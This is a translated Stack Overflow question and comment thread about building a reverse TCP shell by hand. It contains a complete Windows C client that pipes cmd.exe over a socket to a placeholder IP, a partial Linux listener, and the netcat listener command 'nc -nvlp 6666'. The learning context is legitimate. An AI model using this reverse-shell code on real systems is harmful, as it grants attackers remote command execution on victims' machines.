【发布时间】:2016-12-22 14:02:46
【问题描述】:
我知道可以使用 metasploit 打开反向 tcp 连接,但我想编写自己的代码来看看到底发生了什么。我已经达到了自己创建服务器和客户端的程度。客户端(在 windows 上运行)打开与服务器的连接(在 Linux 终端上运行)。
到目前为止,我已经能够在两者之间建立连接,并且还设法让客户端调用 CreateProcess,其中 STARTUPINFO 句柄指向套接字连接的位置。问题在于让 cmd 在 Linux 终端中运行,就像在 Metasploit 或 netcat 中一样。
客户端没有问题,因为当我使用 netcat 创建侦听器时,一旦客户端创建连接,cmd 就会打开。但是,使用我编写的(用 C 语言)的侦听器,它不会打开终端。
以下是我正在使用的代码中的代码 sn-ps。
listener.c(在 Linux 上运行)
// listening on port 6666 for connection from anywhere
// used to accept client socket
int c_sock=-1;
socklen_t themsize=sizeof(struct sockaddr_in);
// store client information here
them=(struct sockaddr_in*)malloc(themsize);
if( ( c_sock=accept(sock, (struct sockaddr*)them, &themsize) )==-1 )
diep("accept");
printf("connection from %s:%d\n", inet_ntoa(them->sin_addr), htons(them->sin_port));
int bytes_rcvd=0;
char *recv_buf=NULL;
// recv_buf will recv up to 1024 bytes
recv_buf=(char*)malloc(sizeof(char)*BUFLEN);
while( 1 )
{
bytes_rcvd=recv(c_sock, recv_buf, BUFLEN, 0);
if( bytes_rcvd<0 )
{
break;
}
// reaches here
// print what we received
// i don't know how to go on from here
// what commands should i send back to spawn a cmd shell?
// this is printed by the server
/*
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
*/
// missing is the rest of the cmd where to write commands
printf("%s", recv_buf);
}
close(sock);
附言。 Linux 正在虚拟机上运行
client.cpp(在 windows 上运行)
#define WIN32_LEAN_AND_MEAN
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#pragma comment (lib, "ws2_32.lib")
int main()
{
WSADATA wsaData;
SOCKET si;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO sui;
PROCESS_INFORMATION pi;
WSAStartup(MAKEWORD(2, 2), &wsaData);
si=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
hax.sin_family=AF_INET;
hax.sin_port=htons(6666);
// the x.x.x.x is replaced with the ip I am connecting to
hax.sin_addr.s_addr=inet_addr("x.x.x.x");
if( WSAConnect(si, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL)!=0 )
{
printf("%d\n", WSAGetLastError());
getchar();
exit(-1);
}
memset(&sui, 0, sizeof(sui));
sui.cb=sizeof(sui);
sui.dwFlags=(STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sui.hStdInput=sui.hStdOutput=sui.hStdError=(HANDLE)si;
char *cmdline="cmd.exe";
CreateProcess(NULL, cmdline, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
getchar();
return 0;
}
最后,客户端在连接到 netcat 监听器时会在 linux 上打开一个 cmd。我使用的netcat命令如下
nc -nvlp 6666
【问题讨论】:
-
netcat的来源你抓到了吗? -
不,netcat 是 linux 内置的。当我打开监听器时,我使用相同的 client.cpp 连接到 netcat..
-
虽然 netcat 在默认安装的 linux 上可能可用也可能不可用,但所有 linux 发行版的源代码都可以下载。因此,开源。
-
您的问题的框架非常糟糕。没有
netcatnot “在 linux 上打开一个 cmd”。它只是将其标准输入和标准输出传递到套接字或从套接字传递。看来您确实是在尝试在 Windows 端启动cmd.exe窗口。如果这适用于netcat但不适用于您的服务器,那么WSAConnect要么挂起,要么失败。我们无法帮助您诊断,因为 (a) 您没有告诉我们发生了什么[和错误代码,如果有的话],并且 (b) 您没有显示服务器的关键部分:您正在收听的bind插座。 -
另一件事。您没有看到
C:\,但我怀疑这是因为它没有以换行符结尾。而printf通常是行缓冲的(因此“部分行”位于stdout缓冲区中)。您需要在您的printf之后fflush(stdout)以确保您看到部分行。